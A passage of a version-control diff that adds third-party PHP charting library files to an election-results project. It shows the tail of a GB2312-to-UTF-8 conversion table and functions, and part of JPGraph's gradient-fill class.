+27956 => 27894, 27957 => 28156, 27958 => 30710, 27959 => 30712, 27960 => 30720,
+27961 => 30729, 27962 => 30743, 27963 => 30744, 27964 => 30737, 27965 => 26027,
+27966 => 30765, 27967 => 30748, 27968 => 30749, 27969 => 30777, 27970 => 30778,
+27971 => 30779, 27972 => 30751, 27973 => 30780, 27974 => 30757, 27975 => 30764,
+27976 => 30755, 27977 => 30761, 27978 => 30798, 27979 => 30829, 27980 => 30806,
+27981 => 30807, 27982 => 30758, 27983 => 30800, 27984 => 30791, 27985 => 30796,
+27986 => 30826, 27987 => 30875, 27988 => 30867, 27989 => 30874, 27990 => 30855,
+27991 => 30876, 27992 => 30881, 27993 => 30883, 27994 => 30898, 27995 => 30905,
+27996 => 30885, 27997 => 30932, 27998 => 30937, 27999 => 30921, 28000 => 30956,
+28001 => 30962, 28002 => 30981, 28003 => 30964, 28004 => 30995, 28005 => 31012,
+28006 => 31006, 28007 => 31028, 28008 => 40859, 28009 => 40697, 28010 => 40699,
+28011 => 40700, 28012 => 30449, 28013 => 30468, 28014 => 30477, 28015 => 30457,
+28016 => 30471, 28017 => 30472, 28018 => 30490, 28019 => 30498, 28020 => 30489,
+28021 => 30509, 28022 => 30502, 28023 => 30517, 28024 => 30520, 28025 => 30544,
+28026 => 30545, 28027 => 30535, 28028 => 30531, 28029 => 30554, 28030 => 30568,
+28193 => 30562, 28194 => 30565, 28195 => 30591, 28196 => 30605, 28197 => 30589,
+28198 => 30592, 28199 => 30604, 28200 => 30609, 28201 => 30623, 28202 => 30624,
+28203 => 30640, 28204 => 30645, 28205 => 30653, 28206 => 30010, 28207 => 30016,
+28208 => 30030, 28209 => 30027, 28210 => 30024, 28211 => 30043, 28212 => 30066,
+28213 => 30073, 28214 => 30083, 28215 => 32600, 28216 => 32609, 28217 => 32607,
+28218 => 35400, 28219 => 32616, 28220 => 32628, 28221 => 32625, 28222 => 32633,
+28223 => 32641, 28224 => 32638, 28225 => 30413, 28226 => 30437, 28227 => 34866,
+28228 => 38021, 28229 => 38022, 28230 => 38023, 28231 => 38027, 28232 => 38026,
+28233 => 38028, 28234 => 38029, 28235 => 38031, 28236 => 38032, 28237 => 38036,
+28238 => 38039, 28239 => 38037, 28240 => 38042, 28241 => 38043, 28242 => 38044,
+28243 => 38051, 28244 => 38052, 28245 => 38059, 28246 => 38058, 28247 => 38061,
+28248 => 38060, 28249 => 38063, 28250 => 38064, 28251 => 38066, 28252 => 38068,
+28253 => 38070, 28254 => 38071, 28255 => 38072, 28256 => 38073, 28257 => 38074,
+28258 => 38076, 28259 => 38077, 28260 => 38079, 28261 => 38084, 28262 => 38088,
+28263 => 38089, 28264 => 38090, 28265 => 38091, 28266 => 38092, 28267 => 38093,
+28268 => 38094, 28269 => 38096, 28270 => 38097, 28271 => 38098, 28272 => 38101,
+28273 => 38102, 28274 => 38103, 28275 => 38105, 28276 => 38104, 28277 => 38107,
+28278 => 38110, 28279 => 38111, 28280 => 38112, 28281 => 38114, 28282 => 38116,
+28283 => 38117, 28284 => 38119, 28285 => 38120, 28286 => 38122, 28449 => 38121,
+28450 => 38123, 28451 => 38126, 28452 => 38127, 28453 => 38131, 28454 => 38132,
+28455 => 38133, 28456 => 38135, 28457 => 38137, 28458 => 38140, 28459 => 38141,
+28460 => 38143, 28461 => 38147, 28462 => 38146, 28463 => 38150, 28464 => 38151,
+28465 => 38153, 28466 => 38154, 28467 => 38157, 28468 => 38158, 28469 => 38159,
+28470 => 38162, 28471 => 38163, 28472 => 38164, 28473 => 38165, 28474 => 38166,
+28475 => 38168, 28476 => 38171, 28477 => 38173, 28478 => 38174, 28479 => 38175,
+28480 => 38178, 28481 => 38186, 28482 => 38187, 28483 => 38185, 28484 => 38188,
+28485 => 38193, 28486 => 38194, 28487 => 38196, 28488 => 38198, 28489 => 38199,
+28490 => 38200, 28491 => 38204, 28492 => 38206, 28493 => 38207, 28494 => 38210,
+28495 => 38197, 28496 => 38212, 28497 => 38213, 28498 => 38214, 28499 => 38217,
+28500 => 38220, 28501 => 38222, 28502 => 38223, 28503 => 38226, 28504 => 38227,
+28505 => 38228, 28506 => 38230, 28507 => 38231, 28508 => 38232, 28509 => 38233,
+28510 => 38235, 28511 => 38238, 28512 => 38239, 28513 => 38237, 28514 => 38241,
+28515 => 38242, 28516 => 38244, 28517 => 38245, 28518 => 38246, 28519 => 38247,
+28520 => 38248, 28521 => 38249, 28522 => 38250, 28523 => 38251, 28524 => 38252,
+28525 => 38255, 28526 => 38257, 28527 => 38258, 28528 => 38259, 28529 => 38202,
+28530 => 30695, 28531 => 30700, 28532 => 38601, 28533 => 31189, 28534 => 31213,
+28535 => 31203, 28536 => 31211, 28537 => 31238, 28538 => 23879, 28539 => 31235,
+28540 => 31234, 28541 => 31262, 28542 => 31252, 28705 => 31289, 28706 => 31287,
+28707 => 31313, 28708 => 40655, 28709 => 39333, 28710 => 31344, 28711 => 30344,
+28712 => 30350, 28713 => 30355, 28714 => 30361, 28715 => 30372, 28716 => 29918,
+28717 => 29920, 28718 => 29996, 28719 => 40480, 28720 => 40482, 28721 => 40488,
+28722 => 40489, 28723 => 40490, 28724 => 40491, 28725 => 40492, 28726 => 40498,
+28727 => 40497, 28728 => 40502, 28729 => 40504, 28730 => 40503, 28731 => 40505,
+28732 => 40506, 28733 => 40510, 28734 => 40513, 28735 => 40514, 28736 => 40516,
+28737 => 40518, 28738 => 40519, 28739 => 40520, 28740 => 40521, 28741 => 40523,
+28742 => 40524, 28743 => 40526, 28744 => 40529, 28745 => 40533, 28746 => 40535,
+28747 => 40538, 28748 => 40539, 28749 => 40540, 28750 => 40542, 28751 => 40547,
+28752 => 40550, 28753 => 40551, 28754 => 40552, 28755 => 40553, 28756 => 40554,
+28757 => 40555, 28758 => 40556, 28759 => 40561, 28760 => 40557, 28761 => 40563,
+28762 => 30098, 28763 => 30100, 28764 => 30102, 28765 => 30112, 28766 => 30109,
+28767 => 30124, 28768 => 30115, 28769 => 30131, 28770 => 30132, 28771 => 30136,
+28772 => 30148, 28773 => 30129, 28774 => 30128, 28775 => 30147, 28776 => 30146,
+28777 => 30166, 28778 => 30157, 28779 => 30179, 28780 => 30184, 28781 => 30182,
+28782 => 30180, 28783 => 30187, 28784 => 30183, 28785 => 30211, 28786 => 30193,
+28787 => 30204, 28788 => 30207, 28789 => 30224, 28790 => 30208, 28791 => 30213,
+28792 => 30220, 28793 => 30231, 28794 => 30218, 28795 => 30245, 28796 => 30232,
+28797 => 30229, 28798 => 30233, 28961 => 30235, 28962 => 30268, 28963 => 30242,
+28964 => 30240, 28965 => 30272, 28966 => 30253, 28967 => 30256, 28968 => 30271,
+28969 => 30261, 28970 => 30275, 28971 => 30270, 28972 => 30259, 28973 => 30285,
+28974 => 30302, 28975 => 30292, 28976 => 30300, 28977 => 30294, 28978 => 30315,
+28979 => 30319, 28980 => 32714, 28981 => 31462, 28982 => 31352, 28983 => 31353,
+28984 => 31360, 28985 => 31366, 28986 => 31368, 28987 => 31381, 28988 => 31398,
+28989 => 31392, 28990 => 31404, 28991 => 31400, 28992 => 31405, 28993 => 31411,
+28994 => 34916, 28995 => 34921, 28996 => 34930, 28997 => 34941, 28998 => 34943,
+28999 => 34946, 29000 => 34978, 29001 => 35014, 29002 => 34999, 29003 => 35004,
+29004 => 35017, 29005 => 35042, 29006 => 35022, 29007 => 35043, 29008 => 35045,
+29009 => 35057, 29010 => 35098, 29011 => 35068, 29012 => 35048, 29013 => 35070,
+29014 => 35056, 29015 => 35105, 29016 => 35097, 29017 => 35091, 29018 => 35099,
+29019 => 35082, 29020 => 35124, 29021 => 35115, 29022 => 35126, 29023 => 35137,
+29024 => 35174, 29025 => 35195, 29026 => 30091, 29027 => 32997, 29028 => 30386,
+29029 => 30388, 29030 => 30684, 29031 => 32786, 29032 => 32788, 29033 => 32790,
+29034 => 32796, 29035 => 32800, 29036 => 32802, 29037 => 32805, 29038 => 32806,
+29039 => 32807, 29040 => 32809, 29041 => 32808, 29042 => 32817, 29043 => 32779,
+29044 => 32821, 29045 => 32835, 29046 => 32838, 29047 => 32845, 29048 => 32850,
+29049 => 32873, 29050 => 32881, 29051 => 35203, 29052 => 39032, 29053 => 39040,
+29054 => 39043, 29217 => 39049, 29218 => 39052, 29219 => 39053, 29220 => 39055,
+29221 => 39060, 29222 => 39066, 29223 => 39067, 29224 => 39070, 29225 => 39071,
+29226 => 39073, 29227 => 39074, 29228 => 39077, 29229 => 39078, 29230 => 34381,
+29231 => 34388, 29232 => 34412, 29233 => 34414, 29234 => 34431, 29235 => 34426,
+29236 => 34428, 29237 => 34427, 29238 => 34472, 29239 => 34445, 29240 => 34443,
+29241 => 34476, 29242 => 34461, 29243 => 34471, 29244 => 34467, 29245 => 34474,
+29246 => 34451, 29247 => 34473, 29248 => 34486, 29249 => 34500, 29250 => 34485,
+29251 => 34510, 29252 => 34480, 29253 => 34490, 29254 => 34481, 29255 => 34479,
+29256 => 34505, 29257 => 34511, 29258 => 34484, 29259 => 34537, 29260 => 34545,
+29261 => 34546, 29262 => 34541, 29263 => 34547, 29264 => 34512, 29265 => 34579,
+29266 => 34526, 29267 => 34548, 29268 => 34527, 29269 => 34520, 29270 => 34513,
+29271 => 34563, 29272 => 34567, 29273 => 34552, 29274 => 34568, 29275 => 34570,
+29276 => 34573, 29277 => 34569, 29278 => 34595, 29279 => 34619, 29280 => 34590,
+29281 => 34597, 29282 => 34606, 29283 => 34586, 29284 => 34622, 29285 => 34632,
+29286 => 34612, 29287 => 34609, 29288 => 34601, 29289 => 34615, 29290 => 34623,
+29291 => 34690, 29292 => 34594, 29293 => 34685, 29294 => 34686, 29295 => 34683,
+29296 => 34656, 29297 => 34672, 29298 => 34636, 29299 => 34670, 29300 => 34699,
+29301 => 34643, 29302 => 34659, 29303 => 34684, 29304 => 34660, 29305 => 34649,
+29306 => 34661, 29307 => 34707, 29308 => 34735, 29309 => 34728, 29310 => 34770,
+29473 => 34758, 29474 => 34696, 29475 => 34693, 29476 => 34733, 29477 => 34711,
+29478 => 34691, 29479 => 34731, 29480 => 34789, 29481 => 34732, 29482 => 34741,
+29483 => 34739, 29484 => 34763, 29485 => 34771, 29486 => 34749, 29487 => 34769,
+29488 => 34752, 29489 => 34762, 29490 => 34779, 29491 => 34794, 29492 => 34784,
+29493 => 34798, 29494 => 34838, 29495 => 34835, 29496 => 34814, 29497 => 34826,
+29498 => 34843, 29499 => 34849, 29500 => 34873, 29501 => 34876, 29502 => 32566,
+29503 => 32578, 29504 => 32580, 29505 => 32581, 29506 => 33296, 29507 => 31482,
+29508 => 31485, 29509 => 31496, 29510 => 31491, 29511 => 31492, 29512 => 31509,
+29513 => 31498, 29514 => 31531, 29515 => 31503, 29516 => 31559, 29517 => 31544,
+29518 => 31530, 29519 => 31513, 29520 => 31534, 29521 => 31537, 29522 => 31520,
+29523 => 31525, 29524 => 31524, 29525 => 31539, 29526 => 31550, 29527 => 31518,
+29528 => 31576, 29529 => 31578, 29530 => 31557, 29531 => 31605, 29532 => 31564,
+29533 => 31581, 29534 => 31584, 29535 => 31598, 29536 => 31611, 29537 => 31586,
+29538 => 31602, 29539 => 31601, 29540 => 31632, 29541 => 31654, 29542 => 31655,
+29543 => 31672, 29544 => 31660, 29545 => 31645, 29546 => 31656, 29547 => 31621,
+29548 => 31658, 29549 => 31644, 29550 => 31650, 29551 => 31659, 29552 => 31668,
+29553 => 31697, 29554 => 31681, 29555 => 31692, 29556 => 31709, 29557 => 31706,
+29558 => 31717, 29559 => 31718, 29560 => 31722, 29561 => 31756, 29562 => 31742,
+29563 => 31740, 29564 => 31759, 29565 => 31766, 29566 => 31755, 29729 => 31775,
+29730 => 31786, 29731 => 31782, 29732 => 31800, 29733 => 31809, 29734 => 31808,
+29735 => 33278, 29736 => 33281, 29737 => 33282, 29738 => 33284, 29739 => 33260,
+29740 => 34884, 29741 => 33313, 29742 => 33314, 29743 => 33315, 29744 => 33325,
+29745 => 33327, 29746 => 33320, 29747 => 33323, 29748 => 33336, 29749 => 33339,
+29750 => 33331, 29751 => 33332, 29752 => 33342, 29753 => 33348, 29754 => 33353,
+29755 => 33355, 29756 => 33359, 29757 => 33370, 29758 => 33375, 29759 => 33384,
+29760 => 34942, 29761 => 34949, 29762 => 34952, 29763 => 35032, 29764 => 35039,
+29765 => 35166, 29766 => 32669, 29767 => 32671, 29768 => 32679, 29769 => 32687,
+29770 => 32688, 29771 => 32690, 29772 => 31868, 29773 => 25929, 29774 => 31889,
+29775 => 31901, 29776 => 31900, 29777 => 31902, 29778 => 31906, 29779 => 31922,
+29780 => 31932, 29781 => 31933, 29782 => 31937, 29783 => 31943, 29784 => 31948,
+29785 => 31949, 29786 => 31944, 29787 => 31941, 29788 => 31959, 29789 => 31976,
+29790 => 33390, 29791 => 26280, 29792 => 32703, 29793 => 32718, 29794 => 32725,
+29795 => 32741, 29796 => 32737, 29797 => 32742, 29798 => 32745, 29799 => 32750,
+29800 => 32755, 29801 => 31992, 29802 => 32119, 29803 => 32166, 29804 => 32174,
+29805 => 32327, 29806 => 32411, 29807 => 40632, 29808 => 40628, 29809 => 36211,
+29810 => 36228, 29811 => 36244, 29812 => 36241, 29813 => 36273, 29814 => 36199,
+29815 => 36205, 29816 => 35911, 29817 => 35913, 29818 => 37194, 29819 => 37200,
+29820 => 37198, 29821 => 37199, 29822 => 37220, 29985 => 37218, 29986 => 37217,
+29987 => 37232, 29988 => 37225, 29989 => 37231, 29990 => 37245, 29991 => 37246,
+29992 => 37234, 29993 => 37236, 29994 => 37241, 29995 => 37260, 29996 => 37253,
+29997 => 37264, 29998 => 37261, 29999 => 37265, 30000 => 37282, 30001 => 37283,
+30002 => 37290, 30003 => 37293, 30004 => 37294, 30005 => 37295, 30006 => 37301,
+30007 => 37300, 30008 => 37306, 30009 => 35925, 30010 => 40574, 30011 => 36280,
+30012 => 36331, 30013 => 36357, 30014 => 36441, 30015 => 36457, 30016 => 36277,
+30017 => 36287, 30018 => 36284, 30019 => 36282, 30020 => 36292, 30021 => 36310,
+30022 => 36311, 30023 => 36314, 30024 => 36318, 30025 => 36302, 30026 => 36303,
+30027 => 36315, 30028 => 36294, 30029 => 36332, 30030 => 36343, 30031 => 36344,
+30032 => 36323, 30033 => 36345, 30034 => 36347, 30035 => 36324, 30036 => 36361,
+30037 => 36349, 30038 => 36372, 30039 => 36381, 30040 => 36383, 30041 => 36396,
+30042 => 36398, 30043 => 36387, 30044 => 36399, 30045 => 36410, 30046 => 36416,
+30047 => 36409, 30048 => 36405, 30049 => 36413, 30050 => 36401, 30051 => 36425,
+30052 => 36417, 30053 => 36418, 30054 => 36433, 30055 => 36434, 30056 => 36426,
+30057 => 36464, 30058 => 36470, 30059 => 36476, 30060 => 36463, 30061 => 36468,
+30062 => 36485, 30063 => 36495, 30064 => 36500, 30065 => 36496, 30066 => 36508,
+30067 => 36510, 30068 => 35960, 30069 => 35970, 30070 => 35978, 30071 => 35973,
+30072 => 35992, 30073 => 35988, 30074 => 26011, 30075 => 35286, 30076 => 35294,
+30077 => 35290, 30078 => 35292, 30241 => 35301, 30242 => 35307, 30243 => 35311,
+30244 => 35390, 30245 => 35622, 30246 => 38739, 30247 => 38633, 30248 => 38643,
+30249 => 38639, 30250 => 38662, 30251 => 38657, 30252 => 38664, 30253 => 38671,
+30254 => 38670, 30255 => 38698, 30256 => 38701, 30257 => 38704, 30258 => 38718,
+30259 => 40832, 30260 => 40835, 30261 => 40837, 30262 => 40838, 30263 => 40839,
+30264 => 40840, 30265 => 40841, 30266 => 40842, 30267 => 40844, 30268 => 40702,
+30269 => 40715, 30270 => 40717, 30271 => 38585, 30272 => 38588, 30273 => 38589,
+30274 => 38606, 30275 => 38610, 30276 => 30655, 30277 => 38624, 30278 => 37518,
+30279 => 37550, 30280 => 37576, 30281 => 37694, 30282 => 37738, 30283 => 37834,
+30284 => 37775, 30285 => 37950, 30286 => 37995, 30287 => 40063, 30288 => 40066,
+30289 => 40069, 30290 => 40070, 30291 => 40071, 30292 => 40072, 30293 => 31267,
+30294 => 40075, 30295 => 40078, 30296 => 40080, 30297 => 40081, 30298 => 40082,
+30299 => 40084, 30300 => 40085, 30301 => 40090, 30302 => 40091, 30303 => 40094,
+30304 => 40095, 30305 => 40096, 30306 => 40097, 30307 => 40098, 30308 => 40099,
+30309 => 40101, 30310 => 40102, 30311 => 40103, 30312 => 40104, 30313 => 40105,
+30314 => 40107, 30315 => 40109, 30316 => 40110, 30317 => 40112, 30318 => 40113,
+30319 => 40114, 30320 => 40115, 30321 => 40116, 30322 => 40117, 30323 => 40118,
+30324 => 40119, 30325 => 40122, 30326 => 40123, 30327 => 40124, 30328 => 40125,
+30329 => 40132, 30330 => 40133, 30331 => 40134, 30332 => 40135, 30333 => 40138,
+30334 => 40139, 30497 => 40140, 30498 => 40141, 30499 => 40142, 30500 => 40143,
+30501 => 40144, 30502 => 40147, 30503 => 40148, 30504 => 40149, 30505 => 40151,
+30506 => 40152, 30507 => 40153, 30508 => 40156, 30509 => 40157, 30510 => 40159,
+30511 => 40162, 30512 => 38780, 30513 => 38789, 30514 => 38801, 30515 => 38802,
+30516 => 38804, 30517 => 38831, 30518 => 38827, 30519 => 38819, 30520 => 38834,
+30521 => 38836, 30522 => 39601, 30523 => 39600, 30524 => 39607, 30525 => 40536,
+30526 => 39606, 30527 => 39610, 30528 => 39612, 30529 => 39617, 30530 => 39616,
+30531 => 39621, 30532 => 39618, 30533 => 39627, 30534 => 39628, 30535 => 39633,
+30536 => 39749, 30537 => 39747, 30538 => 39751, 30539 => 39753, 30540 => 39752,
+30541 => 39757, 30542 => 39761, 30543 => 39144, 30544 => 39181, 30545 => 39214,
+30546 => 39253, 30547 => 39252, 30548 => 39647, 30549 => 39649, 30550 => 39654,
+30551 => 39663, 30552 => 39659, 30553 => 39675, 30554 => 39661, 30555 => 39673,
+30556 => 39688, 30557 => 39695, 30558 => 39699, 30559 => 39711, 30560 => 39715,
+30561 => 40637, 30562 => 40638, 30563 => 32315, 30564 => 40578, 30565 => 40583,
+30566 => 40584, 30567 => 40587, 30568 => 40594, 30569 => 37846, 30570 => 40605,
+30571 => 40607, 30572 => 40667, 30573 => 40668, 30574 => 40669, 30575 => 40672,
+30576 => 40671, 30577 => 40674, 30578 => 40681, 30579 => 40679, 30580 => 40677,
+30581 => 40682, 30582 => 40687, 30583 => 40738, 30584 => 40748, 30585 => 40751,
+30586 => 40761, 30587 => 40759, 30588 => 40765, 30589 => 40766, 30590 => 40772,
+0 => 0 );
+
+    function gb2utf8($gb) {
+	if( !trim($gb) ) return $gb;
+	$utf8='';
+	while($gb) {
+	    if( ord(substr($gb,0,1)) > 127 ) {
+		$t=substr($gb,0,2);
+		$gb=substr($gb,2);
+		$utf8 .= $this->u2utf8($this->codetable[hexdec(bin2hex($t))-0x8080]);
+	    }
+	    else { 
+		$t=substr($gb,0,1);
+		$gb=substr($gb,1);
+		$utf8 .= $this->u2utf8($t);
+	    }
+	}
+	return $utf8;
+    }
+    
+    function u2utf8($c) {
+	$str='';
+	if ($c < 0x80) {
+	    $str.=$c;
+	    }
+	else if ($c < 0x800) {
+	    $str.=chr(0xC0 | $c>>6);
+	    $str.=chr(0x80 | $c & 0x3F);
+	    }
+	else if ($c < 0x10000) {
+	    $str.=chr(0xE0 | $c>>12);
+	    $str.=chr(0x80 | $c>>6 & 0x3F);
+		$str.=chr(0x80 | $c & 0x3F);
+	}
+	else if ($c < 0x200000) {
+	    $str.=chr(0xF0 | $c>>18);
+	    $str.=chr(0x80 | $c>>12 & 0x3F);
+	    $str.=chr(0x80 | $c>>6 & 0x3F);
+	    $str.=chr(0x80 | $c & 0x3F);
+	}
+	return $str;
+    }
+
+} // END Class 
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_gradient.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_gradient.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_gradient.php	(revision 44)
@@ -0,0 +1,423 @@
+<?php
+/*=======================================================================
+// File:	JPGRAPH_GRADIENT.PHP
+// Description:	Create a color gradient
+// Created: 	2003-02-01
+// Ver:		$Id: jpgraph_gradient.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+// Styles for gradient color fill
+define("GRAD_VER",1);
+define("GRAD_VERT",1);
+define("GRAD_HOR",2);
+define("GRAD_MIDHOR",3);
+define("GRAD_MIDVER",4);
+define("GRAD_CENTER",5);
+define("GRAD_WIDE_MIDVER",6);
+define("GRAD_WIDE_MIDHOR",7);
+define("GRAD_LEFT_REFLECTION",8);
+define("GRAD_RIGHT_REFLECTION",9);
+define("GRAD_RAISED_PANEL",10);
+define("GRAD_DIAGONAL",11);
+  
+//===================================================
+// CLASS Gradient
+// Description: Handles gradient fills. This is to be
+// considered a "friend" class of Class Image.
+//===================================================
+class Gradient {
+    private $img=null, $numcolors=100;
+//---------------
+// CONSTRUCTOR
+    function Gradient(&$img) {
+	$this->img = $img;
+    }
+
+
+    function SetNumColors($aNum) {
+	$this->numcolors=$aNum;
+    }
+//---------------
+// PUBLIC METHODS	
+    // Produce a gradient filled rectangle with a smooth transition between
+    // two colors.
+    // ($xl,$yt) 	Top left corner
+    // ($xr,$yb)	Bottom right
+    // $from_color	Starting color in gradient
+    // $to_color	End color in the gradient
+    // $style		Which way is the gradient oriented?
+    function FilledRectangle($xl,$yt,$xr,$yb,$from_color,$to_color,$style=1) {
+	switch( $style ) {	
+	    case GRAD_VER:  
+		$steps = ceil(abs($xr-$xl));
+		$delta = $xr>=$xl ? 1 : -1;
+		$this->GetColArray($from_color,$to_color,$steps,$colors,$this->numcolors);
+		for( $i=0, $x=$xl; $i < $steps; ++$i ) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($x,$yt,$x,$yb);
+		    $x += $delta;
+		}
+		break;
+
+	    case GRAD_HOR: 
+		$steps = ceil(abs($yb-$yt));
+		$delta = $yb>=$yt ? 1 : -1;
+		$this->GetColArray($from_color,$to_color,$steps,$colors,$this->numcolors);
+		for($i=0,$y=$yt; $i < $steps; ++$i) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($xl,$y,$xr,$y);
+		    $y += $delta;
+		}
+		break;
+
+	    case GRAD_MIDHOR: 
+		$steps = ceil(abs($yb-$yt)/2);
+		$delta = $yb >= $yt ? 1 : -1;
+		$this->GetColArray($from_color,$to_color,$steps,$colors,$this->numcolors);
+		for($y=$yt, $i=0; $i < $steps;  ++$i) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($xl,$y,$xr,$y);
+		    $y += $delta;
+		}
+		--$i;
+		if( abs($yb-$yt) % 2 == 1 ) --$steps;
+		for($j=0; $j < $steps; ++$j, --$i) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($xl,$y,$xr,$y);
+		    $y += $delta;
+		}
+		$this->img->Line($xl,$y,$xr,$y);
+		break;
+
+	    case GRAD_MIDVER: 
+		$steps = ceil(abs($xr-$xl)/2);
+		$delta = $xr>=$xl ? 1 : -1;
+		$this->GetColArray($from_color,$to_color,$steps,$colors,$this->numcolors);
+		for($x=$xl, $i=0; $i < $steps; ++$i) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($x,$yb,$x,$yt);
+		    $x += $delta;
+		}
+		--$i;
+		if( abs($xr-$xl) % 2 == 1 ) --$steps;
+		for($j=0; $j < $steps; ++$j, --$i) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($x,$yb,$x,$yt);
+		    $x += $delta;
+		}
+		$this->img->Line($x,$yb,$x,$yt);		
+		break;
+
+	    case GRAD_WIDE_MIDVER: 
+		$diff = ceil(abs($xr-$xl));
+		$steps = floor(abs($diff)/3);
+		$firststep = $diff - 2*$steps ; 
+		$delta = $xr >= $xl ? 1 : -1;
+		$this->GetColArray($from_color,$to_color,$firststep,$colors,$this->numcolors);
+		for($x=$xl, $i=0; $i < $firststep; ++$i) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($x,$yb,$x,$yt);
+		    $x += $delta;
+		}
+		--$i;
+		$this->img->current_color = $colors[$i];
+		for($j=0; $j< $steps; ++$j) {
+		    $this->img->Line($x,$yb,$x,$yt);
+		    $x += $delta;
+		}
+		
+		for($j=0; $j < $steps; ++$j, --$i) {
+		    $this->img->current_color = $colors[$i];				
+		    $this->img->Line($x,$yb,$x,$yt);	
+		    $x += $delta;
+		}				
+		break;
+
+	    case GRAD_WIDE_MIDHOR:
+		$diff = ceil(abs($yb-$yt));
+		$steps = floor(abs($diff)/3);
+		$firststep = $diff - 2*$steps ; 
+		$delta = $yb >= $yt? 1 : -1;
+		$this->GetColArray($from_color,$to_color,$firststep,$colors,$this->numcolors);
+		for($y=$yt, $i=0; $i < $firststep;  ++$i) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($xl,$y,$xr,$y);
+		    $y += $delta;
+		}
+		--$i;
+		$this->img->current_color = $colors[$i];
+		for($j=0; $j < $steps; ++$j) {
+		    $this->img->Line($xl,$y,$xr,$y);
+		    $y += $delta;
+		}
+		for($j=0; $j < $steps; ++$j, --$i) {
+		    $this->img->current_color = $colors[$i];				
+		    $this->img->Line($xl,$y,$xr,$y);
+		    $y += $delta;
+		}				
+		break;	    
+
+	    case GRAD_LEFT_REFLECTION: 
+		$steps1 = ceil(0.3*abs($xr-$xl));
+		$delta = $xr>=$xl ? 1 : -1;		
+
+		$from_color = $this->img->rgb->Color($from_color);
+		$adj = 1.4;
+		$m = ($adj-1.0)*(255-min(255,min($from_color[0],min($from_color[1],$from_color[2]))));
+		$from_color2 = array(min(255,$from_color[0]+$m), 
+				    min(255,$from_color[1]+$m), min(255,$from_color[2]+$m));		
+
+		$this->GetColArray($from_color2,$to_color,$steps1,$colors,$this->numcolors);
+		$n = count($colors);
+		for($x=$xl, $i=0; $i < $steps1 && $i < $n; ++$i) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($x,$yb,$x,$yt);
+		    $x += $delta;
+		}
+		$steps2 = max(1,ceil(0.08*abs($xr-$xl)));
+		$this->img->SetColor($to_color);
+		for($j=0; $j< $steps2; ++$j) {
+		    $this->img->Line($x,$yb,$x,$yt);
+		    $x += $delta;
+		}
+		$steps = abs($xr-$xl)-$steps1-$steps2;
+		$this->GetColArray($to_color,$from_color,$steps,$colors,$this->numcolors);   
+		$n = count($colors);
+		for($i=0; $i < $steps && $i < $n; ++$i) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($x,$yb,$x,$yt);
+		    $x += $delta;
+		}
+		break;
+
+	    case GRAD_RIGHT_REFLECTION: 
+		$steps1 = ceil(0.7*abs($xr-$xl));
+		$delta = $xr>=$xl ? 1 : -1;
+
+		$this->GetColArray($from_color,$to_color,$steps1,$colors,$this->numcolors);
+		$n = count($colors);
+		for($x=$xl, $i=0; $i < $steps1 && $i < $n; ++$i) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($x,$yb,$x,$yt);
+		    $x += $delta;
+		}
+		$steps2 = max(1,ceil(0.08*abs($xr-$xl)));
+		$this->img->SetColor($to_color);
+		for($j=0; $j< $steps2; ++$j) {
+		    $this->img->Line($x,$yb,$x,$yt);
+		    $x += $delta;
+		}
+
+		$from_color = $this->img->rgb->Color($from_color);
+		$adj = 1.4;
+		$m = ($adj-1.0)*(255-min(255,min($from_color[0],min($from_color[1],$from_color[2]))));
+		$from_color = array(min(255,$from_color[0]+$m), 
+				    min(255,$from_color[1]+$m), min(255,$from_color[2]+$m));		
+
+		$steps = abs($xr-$xl)-$steps1-$steps2;
+		$this->GetColArray($to_color,$from_color,$steps,$colors,$this->numcolors);   
+		$n = count($colors);
+		for($i=0; $i < $steps && $i < $n; ++$i) {
+		    $this->img->current_color = $colors[$i];
+		    $this->img->Line($x,$yb,$x,$yt);
+		    $x += $delta;
+		}
+		break;
+
+	    case GRAD_CENTER: 
+		$steps = ceil(min(($yb-$yt)+1,($xr-$xl)+1)/2);	
+		$this->GetColArray($from_color,$to_color,$steps,$colors,$this->numcolors);
+		$dx = ($xr-$xl)/2;
+		$dy = ($yb-$yt)/2;
+		$x=$xl;$y=$yt;$x2=$xr;$y2=$yb;
+		$n = count($colors);
+		for($x=$xl, $i=0; $x < $xl+$dx && $y < $yt+$dy && $i < $n; ++$x, ++$y, --$x2, --$y2, ++$i) {
+		    $this->img->current_color = $colors[$i];			
+		    $this->img->Rectangle($x,$y,$x2,$y2);
+		}
+		$this->img->Line($x,$y,$x2,$y2);
+		break;
+		
+	    case GRAD_RAISED_PANEL:
+		// right to left 
+		$steps1 = $xr-$xl; 
+		$delta = $xr>=$xl ? 1 : -1; 
+		$this->GetColArray($to_color,$from_color,$steps1,$colors,$this->numcolors); 
+		$n = count($colors);
+		for($x=$xl, $i=0; $i < $steps1 && $i < $n; ++$i) { 
+		    $this->img->current_color = $colors[$i]; 
+		    $this->img->Line($x,$yb,$x,$yt); 
+		    $x += $delta; 
+		} 
+		
+		// left to right 
+		$xr -= 3; 
+		$xl += 3; 
+		$yb -= 3; 
+		$yt += 3; 
+		$steps2 = $xr-$xl; 
+		$delta = $xr>=$xl ? 1 : -1; 
+		for($x=$xl, $j=$steps2; $j >= 0; --$j) { 
+		    $this->img->current_color = $colors[$j]; 
+		    $this->img->Line($x,$yb,$x,$yt); 
+		    $x += $delta; 
+		} 
+		break;
+
+	    case GRAD_DIAGONAL:
+		// use the longer dimension to determine the required number of steps.
+		// first loop draws from one corner to the mid-diagonal and the second
+		// loop draws from the mid-diagonal to the opposing corner.
+		if($xr-$xl > $yb - $yt) {
